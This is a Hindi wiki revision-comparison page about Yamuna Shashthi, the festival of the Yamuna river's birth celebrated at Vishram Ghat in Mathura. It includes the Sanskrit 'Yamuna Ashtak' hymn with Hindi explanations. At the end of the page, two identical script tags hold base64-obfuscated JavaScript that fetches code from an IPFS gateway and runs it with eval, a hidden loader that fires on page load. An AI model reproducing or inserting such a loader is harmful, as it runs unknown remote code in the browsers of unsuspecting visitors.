"यमुना षष्ठी" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==") |
गोविन्द राम (चर्चा | योगदान) |
||
(4 सदस्यों द्वारा किये गये बीच के 7 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | {{Panorama | |
− | '''यमुना षष्ठी | + | |image= चित्र:Mathura-Yamuna.jpg |
− | + | |height= 200 | |
− | + | |alt= यमुना | |
− | + | |caption= [[मथुरा]] नगर का [[यमुना नदी]] पार से विहंगम दृश्य | |
+ | }} | ||
+ | {{सूचना बक्सा त्योहार | ||
+ | |चित्र=Vishram-Ghat-11.jpg | ||
+ | |चित्र का नाम= यमुना स्नान, विश्राम घाट, मथुरा | ||
+ | |अन्य नाम =यमुना जन्मोत्सव | ||
+ | |अनुयायी = [[हिंदू]] | ||
+ | |उद्देश्य = | ||
+ | |प्रारम्भ = | ||
+ | |तिथि=[[चैत्र]] [[शुक्ल पक्ष|शुक्ल]] [[षष्ठी]] | ||
+ | |उत्सव =इस दिन [[मथुरा]] में [[विश्राम घाट मथुरा|विश्राम घाट]] पर विशेष पूजा–आरती का आयोजन किया जाता है। | ||
+ | |अनुष्ठान = | ||
+ | |धार्मिक मान्यता =इस दिन को [[यमुना नदी|यमुना]] जी का जन्म दिवस मनाया जाता है। | ||
+ | |प्रसिद्धि = | ||
+ | |संबंधित लेख=[[स्कन्द षष्ठी]] | ||
+ | |शीर्षक 1= | ||
+ | |पाठ 1= | ||
+ | |शीर्षक 2= | ||
+ | |पाठ 2= | ||
+ | |अन्य जानकारी=[[संवत]] 1549 में जब महाप्रभु [[वल्लभाचार्य]] ने 'यमुना अष्टक' की रचना की, तब यमुना का स्वरूप मनोहारी था। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | '''यमुना षष्ठी''' को [[यमुना नदी|यमुना]] जी का जन्म दिवस मनाया जाता है। [[ब्रज]] में श्रद्धालु बड़ी दूर–दूर से आते हैं, ब्रज [[कृष्ण]] लीलाओं में कृष्ण–प्रिया यमुना का बड़ा महत्त्व है। इस दिन [[विश्राम घाट मथुरा|विश्राम घाट]] पर विशेष पूजा–आरती का आयोजन किया जाता है। चैत सुदी छठ को विश्राम घाट पर यमुना जी का महोत्सव होता है। | ||
+ | ==यमुना का जन्मोत्सव== | ||
+ | [[चैत्र]] [[शुक्ल पक्ष|शुक्ल]] [[षष्ठी]] को यमुना का जन्मोत्सव मनाया जाता है। [[पुराण|पुराणों]] में यमुना की महिमा कही गयी है। [[संवत]] 1549 में जब महाप्रभु [[वल्लभाचार्य]] ने 'यमुना अष्टक' की रचना की, तब यमुना का स्वरूप मनोहारी था। | ||
<poem> | <poem> | ||
तटस्थनवकानन-प्रकट मोदपुष्पांजना। | तटस्थनवकानन-प्रकट मोदपुष्पांजना। | ||
पंक्ति 31: | पंक्ति 56: | ||
</poem> | </poem> | ||
==वीथिका== | ==वीथिका== | ||
− | <gallery | + | <gallery> |
− | चित्र:Ghats-of-Yamuna-4.jpg|[[यमुना के घाट, मथुरा|यमुना के घाट]], [[मथुरा]] | + | चित्र:Vishram-Ghat-12.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] |
− | चित्र:Vishram-Ghat-9.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] | + | चित्र:Ghats-of-Yamuna-4.jpg|[[यमुना के घाट, मथुरा|यमुना के घाट]], [[मथुरा]] |
− | चित्र:Yamuna-Mathura-15.jpg|कोकिला बेन द्वारा यमुना की यात्रा, [[मथुरा]] | + | चित्र:Vishram-Ghat-9.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] |
− | चित्र:Yamuna-Chunri-Manorath-1.jpg|चुनरी मनोरथ, यमुना , [[मथुरा]] | + | चित्र:Yamuna-Mathura-15.jpg|कोकिला बेन द्वारा यमुना की यात्रा, [[मथुरा]] |
+ | चित्र:Yamuna-Chunri-Manorath-1.jpg|चुनरी मनोरथ, यमुना , [[मथुरा]] | ||
+ | चित्र:Vishram-Ghat-9.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] | ||
+ | चित्र:Vishram-Ghat-7.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] | ||
+ | चित्र:Vishram-Ghat-10.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] | ||
+ | चित्र:Vishram-Ghat-13.jpg|[[विश्राम घाट मथुरा|विश्राम घाट]], [[मथुरा]] | ||
</gallery> | </gallery> | ||
+ | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3|माध्यमिक= |पूर्णता= |शोध= }} | ||
+ | ==टीका-टिप्पणी और संदर्भ== | ||
+ | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{पर्व और त्योहार}} | + | {{पर्व और त्योहार}}{{व्रत और उत्सव}} |
− | {{व्रत और उत्सव}} | ||
[[Category:संस्कृति कोश]] | [[Category:संस्कृति कोश]] | ||
[[Category:पर्व और त्योहार]] | [[Category:पर्व और त्योहार]] | ||
− | [[Category:व्रत और उत्सव]] | + | [[Category:व्रत और उत्सव]][[Category:हिन्दू धर्म कोश]][[Category:धर्म कोश]] |
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
09:58, 4 अप्रैल 2014 के समय का अवतरण
यमुना षष्ठी
| |
अन्य नाम | यमुना जन्मोत्सव |
अनुयायी | हिंदू |
तिथि | चैत्र शुक्ल षष्ठी |
उत्सव | इस दिन मथुरा में विश्राम घाट पर विशेष पूजा–आरती का आयोजन किया जाता है। |
धार्मिक मान्यता | इस दिन को यमुना जी का जन्म दिवस मनाया जाता है। |
संबंधित लेख | स्कन्द षष्ठी |
अन्य जानकारी | संवत 1549 में जब महाप्रभु वल्लभाचार्य ने 'यमुना अष्टक' की रचना की, तब यमुना का स्वरूप मनोहारी था। |
यमुना षष्ठी को यमुना जी का जन्म दिवस मनाया जाता है। ब्रज में श्रद्धालु बड़ी दूर–दूर से आते हैं, ब्रज कृष्ण लीलाओं में कृष्ण–प्रिया यमुना का बड़ा महत्त्व है। इस दिन विश्राम घाट पर विशेष पूजा–आरती का आयोजन किया जाता है। चैत सुदी छठ को विश्राम घाट पर यमुना जी का महोत्सव होता है।
यमुना का जन्मोत्सव
चैत्र शुक्ल षष्ठी को यमुना का जन्मोत्सव मनाया जाता है। पुराणों में यमुना की महिमा कही गयी है। संवत 1549 में जब महाप्रभु वल्लभाचार्य ने 'यमुना अष्टक' की रचना की, तब यमुना का स्वरूप मनोहारी था।
तटस्थनवकानन-प्रकट मोदपुष्पांजना।
सुरासुरसुपू्जिता-स्मरपितु: श्रियं बिभ्रतीम॥
- यमुना जी के दोनों किनारे सुन्दर वनों से पुष्प यमुना जी में झरते हैं और देव-दानव अर्थात दीन भाव वाले भक्त भली-भाँति पूजा करते हैं।
सघोषगतिदन्तुरा समिधिरूढ़दोलोत्तमा।
मुकुंदरतिवर्धिनी, जयति पद्मबंधो:सुता॥
- वह पृथ्वी पर आनन्द में किलकारी करती घोष युक्त बहती है और उनके जल में तरंगे उछलती हैं।
तरंग भुजकंकण-प्रकटमुक्तिकावालुका।
नितंब तट सुंदरी नमत कृष्णतुयीप्रियाम॥
- उनके जल में उठती तरंगे मानों उनके हाथ के कंगन हैं। किनारों पर चमकती रेत कंगनों में फंसे मोती हैं। दोनों तट उनके नितंब हैं।
अनंतगुणभूषिते शिर्वावरंचिदेवस्तुते।
घनाघननिभे सदा, ध्रुव-पराशराभीष्टदे॥
- आप अगणित गुणों से शोभित हैं। शिव, ब्रह्मा और देव आपकी स्तुति करते हैं। जल प्रपूरित मेघश्याम बादलों जैसा आपका वर्ण है।
यया चरण पद्मजा मुररियो प्रियं भावुका।
समागमनतो भवत, सकल सिध्दिसेवताम॥
- श्री यमुना के साथ गंगा का संगम होने से गंगा जी भगवान की प्रिय बनीं, फिर गंगा जी ने उनके भक्तों को भगवान की सभी सिध्दियां प्रदान की।
नमोस्तु यमुने सदा, तवचरित्रमत्यदभुतम।
न जातु यमयातना, भवति ते पय: पानत:॥
- आपको नमन है, आपका चरित्र अद्भुत है। आपके पय के पान करने से कभी यमराज की पीड़ाएं नहीं भोगनी पड़तीं। स्वयं की संतानें दुष्ट हों तो भी यमराज उन्हें किस तरह मारे।
स्तुतिं सव करोतिक: कमलजासपत्नि प्रिये।
हरेर्यदनुसेवया, भति सौख्यमामोक्षत:॥
- लक्ष्मी जी तुल्य सौभाग्यशाली और श्री कृष्ण को प्रिय ऐसी हे यमुना मैया आपकी स्तुति कौन कर सकता है। लक्ष्मी सेवा करने वालों को ज़्यादा से ज़्यादा मोक्ष मिल सकता है। आपकी सेवा का फल उससे कहीं ज़्यादा है।
तवाष्ट्कमिदं मुदा, पठति सूरसुते सदा।
समस्तदुरितक्षयो, भवति वै मुकुंदेरति॥
- हे सूर्यपुत्री यमुना जी ! अष्टक का नित्य पाठ करने से सभी पाप क्षय होते हैं और भगवान की प्राप्ति होती है।
वीथिका
|
|
|
|
|
टीका-टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>